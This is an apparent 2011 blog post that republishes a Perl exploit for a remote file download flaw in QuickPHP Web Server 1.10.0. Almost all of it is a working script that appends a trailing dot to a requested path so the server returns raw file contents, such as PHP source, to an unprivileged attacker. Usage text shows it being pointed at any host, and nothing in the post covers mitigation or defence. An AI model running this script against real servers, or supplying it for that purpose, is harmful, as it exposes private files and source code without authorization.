Post Your Wish

Saturday, April 16, 2011

QuickPHP Web Server 1.10.0 Remote File Download Exploit

# -----------------------------------
# QuickPHP Web Server is vulnerable for a Remote File Download attcak, the following code will exploit the bug.
# The vulnerability allows an unprivileged attacker to download files whom he has no permissions to.
# -----------------------------------
# Vulnerability Title: QuickPHP Web Server 1.10.0 Remote File Download Exploit 
# Software Link: http://www.zachsaw.co.cc/downloads/quickphp_webserver.zip
# Affected Version: 1.10.0
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL  
#!/usr/bin/perl
use LWP::Simple;
 
if (@ARGV < 3) {
    print("\r\n");
    print("QuickPHP Web Server 1.10.0 Remote File Download Exploit\r\n");
    print("Discovered & Exploited by Pr0T3cT10n\r\n");
    print("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n");
    print("Usage: " .$0. " <host> <port> <file>\r\n");
    print("HOST - An host using QuickPHP Web Server\r\n");
    print("PORT - Port number\r\n");
    print("FILE - The file you want to get\r\n");
    print("Example: " .$0. " hostingserver.com 80 index.php\r\n\r\n");
    exit(1);
} else {
    print("QuickPHP Web Server 1.10.0 Remote File Download Exploit\r\n");
    print("Discovered & Exploited by Pr0T3cT10n\r\n");
    print("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\n");
    ($host, $port, $file) = @ARGV;
    $content = get("http://" .$host. ":" .$port. "/" .$file. ".");
        print("File Content:\r\n\r\n");
    print($content. "\r\n");
}


No comments:

Post a Comment